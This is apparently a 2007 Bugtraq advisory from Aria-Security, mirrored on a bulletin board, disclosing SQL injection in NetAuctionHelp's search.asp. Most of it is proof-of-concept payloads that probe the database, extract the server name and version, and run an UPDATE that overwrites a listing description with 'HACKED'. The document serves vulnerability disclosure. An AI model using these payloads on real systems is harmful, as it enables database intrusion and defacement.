Aria-Security.net: NetAuctionHelp SQL Injection

看板Bugtraq作者no-reply.時間18年前 (2007/11/23 00:09)推噓0(0推 0噓 0→)

留言0則, 0人參與討論串1/4 (看更多)

Aria-Security Net Original Advisory @ http://aria-security.net/forum/showthread.php?p=1099 ------------------------ Vendor: http://www.netauctionhelp.com PoC: search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=[SQL INJECTION] search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch='having 1=1-- search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@servername)-- search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@version)-- tblAd.id tblAd.aspectratio tblAd.title tblAd.imagepath tblAd.startdate tblAd.enddate tblAd.id_seller tblAd.descr -1' UPDATE tblAd set descr= 'HACKED' Where(ID= '1');-- this code with update itemdetl.asp?id=1 Credit goes to Aria-Security.Net Greetz: AurA

‣ 返回看板[ Bugtraq ] 臭蟲

‣ 更多 no-reply. 的文章

文章代碼(AID): #17HQdK00 (Bugtraq)